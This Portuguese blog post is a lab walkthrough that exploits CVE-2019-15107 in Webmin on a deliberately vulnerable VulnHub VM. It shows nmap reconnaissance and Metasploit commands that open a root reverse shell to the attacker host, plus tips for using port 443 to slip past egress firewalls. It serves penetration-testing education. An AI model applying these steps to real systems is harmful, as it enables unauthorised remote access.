Exploração de Vulnerabilidade
Tags: cybersecurity, pentest, web, learning
Published: 2024-04-23 23:45:23

**Aviso**: _Este artigo tem objetivo educacional, servindo de base para compreender como funciona a exploração de serviço vulnerável, dentro de um escopo de um pentest, utilizando ambiente controlado, sem exploração de um ambiente real._

Artigo postado originalmente no Linkedin em 20/04/2022. Aqui com algumas modificações.

## **1. Introdução**

A área de segurança da informação vem ganhando maior visibilidade atualmente, mas os riscos e vulnerabilidades sempre existiram.

O objetivo deste texto é demonstrar uma prova de conceito (POC) de exploração de vulnerabilidade no serviço webmin, utilizano-se uma abordagem de pentest.

Um pentest (teste de intrusão em sistemas, em resumo) pode ser dividido em várias etapas, segundo alguns frameworks própios como o _**Information System Assessment Framework - ISSAF**_, _**Open Source Security Testing Methodology Manual - OSSTMM**_, O _**Testing Guide (OTG) da Open Web Application Security Project - OWASP**_, _**Penetration Testing Execution Standard - PTES**_ e o _**NIST Thecnical Guide to Information Security Testing and Assessment 800-115**_.

Pode-se ilustrar etapas, de forma simplificada, conforme o diagrama abaixo:

![Etapas de um Pentest](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/flznk3i7y73c79u2fiam.png)

Na POC aqui demonstrada, será abordado até a etapa de exploração.

## **2. Execução da POC**

O que foi utilizado para a realização da POC:

- Sistema Operacional Hospedeiro Ubuntu 20.04
- VirtualBox versão 6.1.32
- Uma VM vulnerável, disponível em: https://www.vulnhub.com/entry/hacker-fest-2019,378/
- Uma VM com Kali Linux 2022.1, disponível para download em: https://www.kali.org/get-kali/. 

O **_vulnhub_** é um site onde é possível realizar o download de Virtual Machines (VMs) que possuem vulnerabilidades. Isso é útil para estudo em ambiente controlado.

Após configurar as VMs, vamos à execução.

### **2.1. Obtendo informações**

Antes de mais nada, pode-se testar a VM vulnerárel. Essa VM contém um site, para simular uma situação real, como se fosse de fato um servidor disponibilizando um site. Para validar, pode-se acessar em um navegador o endereço IP da VM para ver se aparece algo:

![Abrindo o site da VM vulnerável](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n25ixf4dfiy9obkxrn38.gif)

No lab da POC, a VM vulnerável está configurada com o **IP 192.168.56.125**. Logo, basta acessar no navegador o endereço **http://192.168.56.125**.

**ATENÇÃO**: Aqui cabe um alerta, sempre que for executar uma VM sabidamente vulnerável, nunca execute-a com configurações de rede que permitam a comunicação com sua rede real. No caso do Virtual Box, é bom consultar a [documentação](https://www.virtualbox.org/manual/ch06.html) sobre as configurações de redes possíveis em uma VM.

Para quem já tem um pouco mais de experiência, de pronto já reconhece que o site é feito utilizando o Wordpress. Mas mesmo quem não tem essa percepção, pelo próprio inspecionador do Browser, pode-se obter alguma pista. Mas vamos partir do entendimento que não se saiba, uma das formas de descobrir é pelo próprio Kali, utilizando a ferramenta whatweb:

![Saída do comando whatweb](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nypyr9asn10p1wmu0vb4.png)

Na saída do comando whatweb, são exibidas algumas informações úteis, por exemplo, "Worpress[5.2.3]". Adicionalmente, pode-se verificar o alvo com a ferramenta wpscan, que é um scanner de vulnerabilidades específico para Wordpress, mas não é o foco dessa POC.

Ainda como obtenção de informações, podemos utilizar o [Nmap](https://nmap.org) para identificar portas abertas e serviços no host alvo.

> sudo nmap -sV -p- -v -Pn 192.168.56.125

Em que:
**-sV** -> Identificar os serviços e versões que estão com portas abertas;
**-p-** -> Escanear todas as 65536 portas
**-v** -> Modo verboso, mostrar mais informações no terminal
**-Pn** -> Não utilizar o ICMP (ping)

A saída do comando nmap:

![Saída do comando nmap](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sr1mt3nqqfoj5am30jvl.png)

Observam-se algumas portas abertas, dentre elas a 10000/tcp, sendo identificado o serviço Webmin executando nesta porta, que é o serviço a ser explorado no escopo desta POC. Percebe-se, também, que a versão do Webmin é a 1.890.

**Atenção**: O Nmap é uma ferramenta que causa muito "ruído" na rede, tornando-o facilmente detectável em um ambiente que tenha o mínimo de maturidade em segurança da informação. Existem formas de tentar torná-lo mais discreto (**_Stealthy_**, na linguagem técnica da área), mas como aqui demonstrato, trata-se de um ambiente controlado, não se teve tal preocupação.

**Resultados da etapa de Obtenção de Informações**:

- Site utilizando Wordpress 5.2.3;
- Apache Web Server 2.4.25;
- vsftpd 3.0.3
- OpenSSH 7.4
- Sistema Operacional Linux (possivelmente um GNU/Debian);
- Portas abertas: 21/tcp - ftp, 22/tcp - ssh, 80/tcp - http e 10000/tcp - ssl/http.

Com o executado até aqui, ressalta-se que as operações executadas, não são a única forma de se obter as informações, existem outras maneiras, como: uso de comandos nativos de qualquer GNU/Linux, ferramentas web, etc.

## **3. Identificação e Verificação de Vulnerabilidades**

Na etapa anterior, foram identificados vários serviços que podem ou não ter uma vulnerabilidade, proporcionando uma exploração/ataque. Para essa demonstração, será mantido apenas o escopo de exploração do Webmin. Entretanto, o que será demonstrado pode facilmente ser aplicado para os demais serviços, com as devidas proporções e ajustes.

De posse das informações obtidas, pode-se facilmente realizar uma pesquisa no próprio google por "_webmin exploit_" ou em ferramentas e sites especializados. Um site bem utilizado é o [Exploit DB](https://www.exploit-db.com). Através dele é possível verificar a existência de um exploit para determinada versão de um serviço, no nosso caso, o Webmin 1.890.

Para quem ainda não conhece o termo, um _exploit_ é uma aplicação, uma quantidade de dados ou mesmo uma sequência de comandos que exploram uma determinada vulnerabilidade. É possível desenvolver um exploit ou mesmo consultar nas bases de dados especializadas, como citdado anteriormente.

Após algumas pesquisas na internet, constata-se que existe uma a [CVE-2019-15107](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107), conforme o próprio link,  "An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.". Será essa a CVE a ser explorada na POC.

O interessante é que não foi necessário executar nenhuma ferramenta de verificação de vulnerabilidades, a exemplo, [OpenVAS](https://www.openvas.org/). Apenas com informações obtidas na primeira etapa, foi possível localicar vulnerabilidade e exploit na própia internet.

Uma outra forma de procurar exploits é através do próprio Kali, usando o comando searchsploit, conforme a figura abaixo:

![Saída do comando searchsploit webmin](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g30ml3zizhvtq8asrsxj.png)

## **4. Exploração**

Há algumas formas e técnicas para exploração. Será utilizado na demonstração, o framework [Metasploit](https://docs.rapid7.com/metasploit/msf-overview/). Através deste framework, pode-se desenvolver e utilizar exploits. Ele é uma ferramenta bastante utilizada em testes de invasão.

Será realizada na demonstração, a tentativa de exploração usando o exploit listado na linha "Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb", conforme a imagem da saída do comando _searchsploit webmin_.

### **4.1. Abrindo o Metasploit no Kali**

Basta digitar o comando msfconsole, estando como usuário root. Após executar o comando, o terminal terá a saída, conforme imagem abaixo:

### **4.2. Buscando dentro do Metasploit**

Através do próprio prompt do Metasploit é possível realizar uma busca por webmin, através do comando search webmin:

![Buscando por exploit no msfconsole](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vpax0je7jrp9dguiqviv.gif)

Será utilizado: 
"_**5 exploit/linux http/webmin_backdoor  	2019-08-10      excellent Yes   Webmin password_change.cgi 	Backdoor**_"
Pois, foi a vulnerabilidade encontrada está relacionada ao CGI (CVE-2019-15107).

### **4.3. Ativando o exploit**

Para ativar, basta usar o comando _**use 5**_:

![Definindo o payload](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fl8n3g7qp4lf1p37osa2.png)

Após a ativação do exploit, para exibir as opções basta digitar _**options**_.

![Options do exploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5s01vz70ehmrh9rqqsj0.png)

Com o comando _**info**_, é possível listar informações adicionais.

### **4.4. Configurando o exploit para inicar o ataque**

O payload já veio configurado, conforme a linha _**Payload options (cmd/unix/reverse_perl)**_, exibido na imagem anterior. Em alguns caso, é necessário configurar isso.

Para evitar uma eventual inconsitência na execução do _exploit_, devido a versão do webmin, visto que o alvo tem uma versão um pouco diferente da que o exploit foi desenvolvido para explorar, configura-se o force exploit. Assim, basta executar o comando _set _forceexploit true__.

![Definindo forceexploit como true](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ew74nm4cqrnz0bqlh4t2.png)

Em seguida, precisa-se configurar o remote host (o alvo), através do comando _set rhost IP_DO_ALVO_:

![Definindo o rhosts](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r93qq1kps8lbmnd2tkkr.png)

Lembre-se que as opções do que pode ou não ser configurado, são exibidas através do comando _options_ do msfconsole.

Agora, configura-se o local host (o atacante), através do comando _set lhost IP_DO_ATACANTE_:

![Definindo o lhost](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bo7tb4s395dk6vlbhgwv.png)

O **IP 192.168.56.127** é o ip configurado no host atacante, Kali.

Para confirmar o que já está configurado, basta digitar o comando _options_ novamente.

![Exibindo as opções todas configuradas](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/354oytgj3ww012pmp1dx.png)

Como RPORT já está a porta correta (10000), não precisamos configurar a porta remota (alvo).

A LPORT (porta local, atacante) está configurada como 4444. Pode-se configurar uma porta mais baixa para tentar não ser bloqueado por um firewall, utilizando uma porta 443/tcp - https (_set lport 443_), por exemplo. Além disso, é necessário habilitar o ssl com o comando set ssl true.

Como foi utilizada a porta 443/tcp no lport (porta no host atacante), é importante confirmar se não existe nenhum serviço "up" usando essa porta no host atacante.

### **4.5. Efetivando a exploração**

O que será executado é um _shell reverso_, ou seja, ao invés do atacante abrir uma conexão com o alvo, o alvo abrirá uma conexão com o atacante, fornecendo um shell (terminal), por isso o nome shell reverso (_reverse shell_). Esta é uma técnica muito utilizada, pois, eventualmente, um firewall pode está configurado de modo a ser mais permissivo para saída.

![Revere Shell](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c0l9v46pqv7mnru4vsod.png)

Para executar, basta digitar o comando run:

![Run exploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3dnpovpfifoy1czi38nx.png)

Na imagem acima, já é percebido que o alvo conectou no atacante, abrindo um shell reverso. Foram executados os comandos: _id_, _whoami_ e _ls -l /etc/passwd_.

Exploração feita com sucesso!

## **5. Considerações finais**

Essa exploração é considerada básica e fácil, até mesmo pelo fato do shell reverso já ser aberto com o usuário root, o que indica uma má configuração no servidor alvo. Se tivesse sido usado um usuário de serviço com permissões limitadas (princípio do menor privilégio possível) e sem shell habilitado, a exploração poderia oferecer maior esforço, pois teria de se buscar outra vulnerabilidade que permitisse a abertura de uma sessão de shell reverso assim como necessidade de a escalação de privilégios para o usuário root.

Ficou evidenciado, também, uma falha que foi a de permitir saída para internet no host alvo. Isso não é recomendado, porém em alguns casos, existem regras permissivas de saída, por necessidade do negócio. Como o ataque usou uma porta baixa (443/tcp), que é a porta https, isso pode ter facilidado a exploração. Inclusive, os atacantes mais experientes não usam portas altas para receber conexões reversas, pois sabem que normalmente a porta 443 ou mesmo a 80, costumam está com a saída liberada.

Mesmo sendo um ambiente controlado, é provável que existam ambientes em produção configurados dessa forma e com a vulnerabilidade que teve a exploração demonstrada aqui.

Claro que se pode, perfeitamente, questionar: Mas alguém colocaria um webmin aberto pra internet? Mesmo que não, um servidor rodando o webmin com essa vulnerabilidade pode ser explorado em um ataque lateral, em que, por exemplo, se "ganha" um outro servidor e por uma falta de segregação de redes, consegue-se explorar o host que tem o webmin vulnerável.

Cabe destacar, também, que foram utilizadas ferramentas com o intuito de automatizar e facilitar a análise do alvo e posterior exploração. Entretanto, um profissional deve ter conhecimento do que está sendo feito, afinal, ferramentas se aprendem ou se desenvolvem, mas o conhecimento que se tem sobre a área é o que diferencia o profissional no mercado. Assim, recomenda-se aprofundar os estudos, estudar o código do exploit usado, ler sobre a CVE explorada, etc. Antes de qualquer ferramenta, vem o conhecimento.